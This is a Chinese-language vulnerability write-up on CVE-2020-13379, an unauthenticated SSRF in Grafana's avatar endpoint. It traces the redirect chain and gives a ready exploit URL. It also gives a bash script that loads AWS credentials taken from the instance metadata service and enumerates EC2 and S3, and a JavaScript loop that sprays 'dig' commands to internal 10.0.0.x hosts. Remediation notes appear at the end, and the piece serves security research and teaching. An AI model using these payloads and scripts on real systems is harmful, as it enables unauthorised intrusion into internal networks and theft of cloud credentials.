挖洞经验 | Grafana应用实例未授权读取型SSRF
字数 836 2025-08-15 21:31:37
Grafana未授权SSRF漏洞(CVE-2020-13379)深度分析与利用指南
漏洞概述
CVE-2020-13379是Grafana 3.0.1至7.0.1版本中存在的一个严重服务端请求伪造(SSRF)漏洞,允许攻击者在未授权的情况下通过精心构造的URL使Grafana服务器向内部网络发起任意HTTP请求。
漏洞影响范围
- 受影响版本:Grafana 3.0.1至7.0.1
- 受影响组件:
- 标准Grafana实例
- Gitlab集成实例(/-/grafana)
- SourceTree集成实例(/-/debug/grafana/)
漏洞技术分析
漏洞根源
漏洞位于api.go文件的第423行:
r.Get("/avatar/:hash", avatarCacheServer.Handler)
该代码用于处理Gravatar头像加载请求,存在以下关键问题:
- URL参数注入:
this.hash参数未经过严格过滤,允许注入额外参数 - 重定向链问题:通过
d参数构造多重跳转 - 正则表达式缺陷:主机验证机制存在缺陷
漏洞利用链
-
初始请求:
https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com -
第一跳转:
https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/ → http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/ -
第二跳转:
http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/ → https://google.com?;/1.bp.blogspot.com
最终利用Payload
https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE
漏洞利用场景
1. 云实例元数据API访问
AWS元数据服务器探测:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
利用脚本示例:
#!/bin/bash
out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g')
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"
2. 盲SSRF与内网探测
Grafana渲染器探测:
localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30
自动化探测HTML:
<script>
async function postData(url = '', data = {}) {
const response = await fetch(url, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
return response.json();
}
for (var i = 0; i < 255; i++){
postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}
</script>
3. Gitlab Prometheus Redis导出器利用
Redis数据导出:
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
4. 图像型SSRF转全读型SSRF
利用Content-Type验证绕过:
example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254
漏洞修复建议
- 升级至Grafana 7.0.2或更高版本
- 实施严格的输入验证,特别是对
:hash参数 - 限制Grafana实例的出站网络连接
- 对云元数据API实施访问控制
漏洞挖掘经验总结
- 优先检查未授权路径,其次是授权绕过
- 针对开源应用中的特殊功能进行重点测试
- 关注参数注入和重定向链问题
- 综合利用多个小问题形成完整攻击链
- 分享漏洞发现以获取更多利用思路